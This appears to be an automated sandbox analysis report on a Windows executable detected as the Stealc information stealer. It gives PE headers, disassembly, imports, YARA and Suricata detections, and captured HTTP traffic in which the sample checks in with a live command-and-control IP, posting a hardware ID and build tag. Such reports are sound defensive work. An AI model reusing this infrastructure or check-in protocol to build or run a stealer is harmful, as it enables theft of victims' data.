Time Stamp:	0x64F189A1 [Fri Sep 1 06:50:09 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	a11cbe8ba3528a436618e8dc32e663a6

Entrypoint Preview

Instruction
call 00007F35CC7FC9B1h
jmp 00007F35CC7F8E5Eh
int3
int3
int3
call 00007F35CC7F900Ch
xchg cl, ch
jmp 00007F35CC7F8FF4h
call 00007F35CC7F9003h
fxch st(0), st(1)
jmp 00007F35CC7F8FEBh
fabs
fld1
mov ch, cl
xor cl, cl
jmp 00007F35CC7F8FE1h
mov byte ptr [ebp-00000090h], FFFFFFFEh
fabs
fxch st(0), st(1)
fabs
fxch st(0), st(1)
fpatan
or cl, cl
je 00007F35CC7F8FD6h
fldpi
fsubrp st(1), st(0)
or ch, ch
je 00007F35CC7F8FD4h
fchs
ret
fabs
fld st(0), st(0)
fld st(0), st(0)
fld1
fsubrp st(1), st(0)
fxch st(0), st(1)
fld1
faddp st(1), st(0)
fmulp st(1), st(0)
ftst
wait
fstsw word ptr [ebp-000000A0h]
wait
test byte ptr [ebp-0000009Fh], 00000001h
jne 00007F35CC7F8FD7h
xor ch, ch
fsqrt
ret
pop eax
jmp 00007F35CC7FB58Fh
fstp st(0)
fld tbyte ptr [0041169Ah]
ret
fstp st(0)
or cl, cl
je 00007F35CC7F8FDDh
fstp st(0)
fldpi
or ch, ch
je 00007F35CC7F8FD4h
fchs
ret
fstp st(0)
fldz
or ch, ch
je 00007F35CC7F8FC9h
fchs
ret
fstp st(0)
jmp 00007F35CC7FB565h
fstp st(0)
mov cl, ch
jmp 00007F35CC7F8FD2h
call 00007F35CC7F8F9Eh
jmp 00007F35CC7FB570h
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
add esp, FFFFFD30h
push ebx

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3ff3c	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x205d000	0x205f8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3ffa0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3faa0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x11000	0x228	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xf902	0xfa00	38841d730c2da74bdf8a2a3fe5bf625c	False	0.607609375	data	6.754869464813126	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x11000	0x2fbae	0x2fc00	a2229f112b18045fdfef39248a908cd4	False	0.9446580497382199	data	7.887989647367526	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x41000	0x201b210	0x5e00	41f1dbad254b4ffc1719693cadcb63ed	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x205d000	0x205f8	0x20600	6293b69440b26f323c5bcdd91adaea4f	False	0.4011598093629344	data	4.7455090936889395	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
ZAVUTIDORAMACE	0x2076498	0x1e31	ASCII text, with very long lines (7729), with no line terminators	Tamil	India	0.588821322292664
ZAVUTIDORAMACE	0x2076498	0x1e31	ASCII text, with very long lines (7729), with no line terminators	Tamil	Sri Lanka	0.588821322292664
RT_CURSOR	0x2078308	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.26439232409381663
RT_CURSOR	0x20791b0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.3686823104693141
RT_CURSOR	0x2079a58	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.49060693641618497
RT_CURSOR	0x2079ff0	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4375
RT_CURSOR	0x207a120	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 0			0.44886363636363635
RT_CURSOR	0x207a1f8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.27238805970149255
RT_CURSOR	0x207b0a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.375
RT_CURSOR	0x207b948	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5057803468208093
RT_ICON	0x205db00	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	India	0.4349680170575693
RT_ICON	0x205db00	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	Sri Lanka	0.4349680170575693
RT_ICON	0x205e9a8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	India	0.5374548736462094
RT_ICON	0x205e9a8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	Sri Lanka	0.5374548736462094
RT_ICON	0x205f250	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	India	0.5996543778801844
RT_ICON	0x205f250	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	Sri Lanka	0.5996543778801844
RT_ICON	0x205f918	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	India	0.6748554913294798
RT_ICON	0x205f918	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	Sri Lanka	0.6748554913294798
RT_ICON	0x205fe80	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Tamil	India	0.3287344398340249
RT_ICON	0x205fe80	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Tamil	Sri Lanka	0.3287344398340249
RT_ICON	0x2062428	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Tamil	India	0.40361163227016883
RT_ICON	0x2062428	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Tamil	Sri Lanka	0.40361163227016883
RT_ICON	0x20634d0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Tamil	India	0.4663934426229508
RT_ICON	0x20634d0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Tamil	Sri Lanka	0.4663934426229508
RT_ICON	0x2063e58	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Tamil	India	0.5549645390070922
RT_ICON	0x2063e58	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Tamil	Sri Lanka	0.5549645390070922
RT_ICON	0x2064338	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.36433901918976547
RT_ICON	0x2064338	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.36433901918976547
RT_ICON	0x20651e0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.4526173285198556
RT_ICON	0x20651e0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.4526173285198556
RT_ICON	0x2065a88	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.45910138248847926
RT_ICON	0x2065a88	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.45910138248847926
RT_ICON	0x2066150	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.45303468208092484
RT_ICON	0x2066150	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.45303468208092484
RT_ICON	0x20666b8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.2654564315352697
RT_ICON	0x20666b8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.2654564315352697
RT_ICON	0x2068c60	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.30651969981238275
RT_ICON	0x2068c60	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.30651969981238275
RT_ICON	0x2069d08	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.35726950354609927
RT_ICON	0x2069d08	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.35726950354609927
RT_ICON	0x206a1d8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.5660980810234542
RT_ICON	0x206a1d8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.5660980810234542
RT_ICON	0x206b080	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.5469314079422383
RT_ICON	0x206b080	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.5469314079422383
RT_ICON	0x206b928	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.6163294797687862
RT_ICON	0x206b928	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.6163294797687862
RT_ICON	0x206be90	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.46141078838174276
RT_ICON	0x206be90	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.46141078838174276
RT_ICON	0x206e438	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.48850844277673544
RT_ICON	0x206e438	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.48850844277673544
RT_ICON	0x206f4e0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	India	0.49098360655737705
RT_ICON	0x206f4e0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	Sri Lanka	0.49098360655737705
RT_ICON	0x206fe68	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.4512411347517731
RT_ICON	0x206fe68	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.4512411347517731
RT_ICON	0x2070338	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.488272921108742
RT_ICON	0x2070338	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.488272921108742
RT_ICON	0x20711e0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.4697653429602888
RT_ICON	0x20711e0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.4697653429602888
RT_ICON	0x2071a88	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.434971098265896
RT_ICON	0x2071a88	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.434971098265896
RT_ICON	0x2071ff0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.2773858921161826
RT_ICON	0x2071ff0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.2773858921161826
RT_ICON	0x2074598	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.2898686679174484
RT_ICON	0x2074598	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.2898686679174484
RT_ICON	0x2075640	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	India	0.3069672131147541
RT_ICON	0x2075640	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	Sri Lanka	0.3069672131147541
RT_ICON	0x2075fc8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.3395390070921986
RT_ICON	0x2075fc8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.3395390070921986
RT_DIALOG	0x207c138	0x58	data			0.8977272727272727
RT_STRING	0x207c190	0x38c	data	Tamil	India	0.473568281938326
RT_STRING	0x207c190	0x38c	data	Tamil	Sri Lanka	0.473568281938326
RT_STRING	0x207c520	0x56e	data	Tamil	India	0.44316546762589926
RT_STRING	0x207c520	0x56e	data	Tamil	Sri Lanka	0.44316546762589926
RT_STRING	0x207ca90	0x2c6	data	Tamil	India	0.4732394366197183
RT_STRING	0x207ca90	0x2c6	data	Tamil	Sri Lanka	0.4732394366197183
RT_STRING	0x207cd58	0x4a2	data	Tamil	India	0.448566610455312
RT_STRING	0x207cd58	0x4a2	data	Tamil	Sri Lanka	0.448566610455312
RT_STRING	0x207d200	0x3f6	data	Tamil	India	0.4428007889546351
RT_STRING	0x207d200	0x3f6	data	Tamil	Sri Lanka	0.4428007889546351
RT_ACCELERATOR	0x20782d0	0x38	data	Tamil	India	0.9107142857142857
RT_ACCELERATOR	0x20782d0	0x38	data	Tamil	Sri Lanka	0.9107142857142857
RT_GROUP_CURSOR	0x2079fc0	0x30	data			0.9375
RT_GROUP_CURSOR	0x207a1d0	0x22	data			1.0588235294117647
RT_GROUP_CURSOR	0x207beb0	0x30	data			0.9375
RT_GROUP_ICON	0x20702d0	0x68	data	Tamil	India	0.7115384615384616
RT_GROUP_ICON	0x20702d0	0x68	data	Tamil	Sri Lanka	0.7115384615384616
RT_GROUP_ICON	0x20642c0	0x76	data	Tamil	India	0.6610169491525424
RT_GROUP_ICON	0x20642c0	0x76	data	Tamil	Sri Lanka	0.6610169491525424
RT_GROUP_ICON	0x206a170	0x68	data	Tamil	India	0.7115384615384616
RT_GROUP_ICON	0x206a170	0x68	data	Tamil	Sri Lanka	0.7115384615384616
RT_GROUP_ICON	0x2076430	0x68	data	Tamil	India	0.7211538461538461
RT_GROUP_ICON	0x2076430	0x68	data	Tamil	Sri Lanka	0.7211538461538461
RT_VERSION	0x207bee0	0x258	data			0.5466666666666666

Imports

DLL	Import
KERNEL32.dll	InterlockedDecrement, GetCurrentProcess, SetEnvironmentVariableW, CreateJobObjectW, SetComputerNameW, CreateHardLinkA, GetModuleHandleW, EnumCalendarInfoExW, GetNumberFormatA, GetWindowsDirectoryA, SetCommState, LoadLibraryW, GetLocaleInfoW, ReadConsoleInputA, GetCalendarInfoW, CreateEventA, SetVolumeMountPointA, GetConsoleAliasExesLengthW, GetVersionExW, GetFileAttributesA, EnumSystemCodePagesA, GetTimeFormatW, GetModuleFileNameW, CreateActCtxA, GetEnvironmentVariableA, SetThreadPriority, GetTempPathW, VerifyVersionInfoW, GlobalUnfix, GetStdHandle, GetLogicalDriveStringsA, GetLastError, GetCurrentDirectoryW, GetLongPathNameW, EnumCalendarInfoW, CreateNamedPipeA, LoadModule, GlobalFree, GetProcessVersion, LoadLibraryA, InterlockedExchangeAdd, CreateFileMappingA, LocalAlloc, SetCalendarInfoW, FoldStringA, EnumDateFormatsA, GlobalUnWire, GetProcessShutdownParameters, LoadLibraryExA, GetFileTime, WaitForDebugEvent, OpenEventW, GetShortPathNameW, SetFileShortNameA, GetDiskFreeSpaceExW, LCMapStringW, CommConfigDialogW, ReadFile, GetProcessHeap, SetEndOfFile, GetStringTypeW, MultiByteToWideChar, CreateFileW, WriteConsoleW, InterlockedIncrement, GetConsoleAliasExesA, TlsGetValue, SetFilePointer, GetProcAddress, SetDefaultCommConfigA, FlushFileBuffers, SetStdHandle, HeapFree, EncodePointer, DecodePointer, HeapReAlloc, GetCommandLineW, HeapSetInformation, GetStartupInfoW, IsProcessorFeaturePresent, WideCharToMultiByte, SetHandleCount, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, TerminateProcess, HeapCreate, Sleep, HeapSize, ExitProcess, RtlUnwind, HeapAlloc, WriteFile, FreeEnvironmentStringsW, GetEnvironmentStringsW, TlsAlloc, TlsSetValue, TlsFree, SetLastError, GetCurrentThreadId, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, RaiseException, GetConsoleCP, GetConsoleMode, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, CloseHandle, CreateFileA
USER32.dll	GetWindowLongW, SetCaretPos, CharUpperA, InsertMenuItemW, DrawStateA, LoadMenuA, CharLowerBuffA, GetSysColor, GetMenuStringA, SetMenu
GDI32.dll	GetBkMode, CreateDCW, GetCharWidth32W, GetTextCharset, GetCharWidthI
WINHTTP.dll	WinHttpCloseHandle

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-25T15:32:06.869553+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	193.233.113.184	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 15:32:05.703025103 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 25, 2024 15:32:05.799978018 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 25, 2024 15:32:05.800129890 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 25, 2024 15:32:05.800857067 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 25, 2024 15:32:05.805620909 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 25, 2024 15:32:06.473778963 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 25, 2024 15:32:06.473910093 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 25, 2024 15:32:06.651880980 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 25, 2024 15:32:06.656697035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 25, 2024 15:32:06.868494034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 25, 2024 15:32:06.869553089 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 25, 2024 15:32:11.873934984 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 25, 2024 15:32:11.874058962 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 25, 2024 15:32:23.053083897 CEST	49730	80	192.168.2.4	193.233.113.184

HTTP Request Dependency Graph

193.233.113.184

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.233.113.184	80	7484	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 15:32:05.800857067 CEST	90	OUT	GET / HTTP/1.1 Host: 193.233.113.184 Connection: Keep-Alive Cache-Control: no-cache
Sep 25, 2024 15:32:06.473778963 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 13:32:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 25, 2024 15:32:06.651880980 CEST	420	OUT	POST /6d687e53250c2111.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBGDHIIDAEBFHJJDBFI Host: 193.233.113.184 Content-Length: 218 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 45 36 32 37 31 35 45 34 33 42 39 32 39 32 35 33 38 32 31 39 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 2d 2d 0d 0a Data Ascii: ------JDBGDHIIDAEBFHJJDBFIContent-Disposition: form-data; name="hwid"EE62715E43B92925382193------JDBGDHIIDAEBFHJJDBFIContent-Disposition: form-data; name="build"LogsDiller1------JDBGDHIIDAEBFHJJDBFI--
Sep 25, 2024 15:32:06.868494034 CEST	210	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 13:32:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	09:32:03
Start date:	25/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	417'280 bytes
MD5 hash:	D792F4925D8E515A2AA89F5C9C157F2D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1880865468.00000000024BE000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1880902280.00000000024EA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1717820690.0000000004110000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:32:06
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7484 -s 1052
Imagebase:	0xc90000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.3%
Dynamic/Decrypted Code Coverage:	7.2%
Signature Coverage:	12.6%
Total number of Nodes:	1425
Total number of Limit Nodes:	27

Executed Functions

Function 004045C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045CC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045D7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045E2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045ED
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045F8
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,004169FB), ref: 00404607
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,004169FB), ref: 0040460E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404648
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040465C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404667
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404672
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040467D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404688
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046B1
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046BC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046C7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046D2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046DD
strlen.MSVCRT ref: 004046F0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404718
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404723
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404739
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404744
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404754
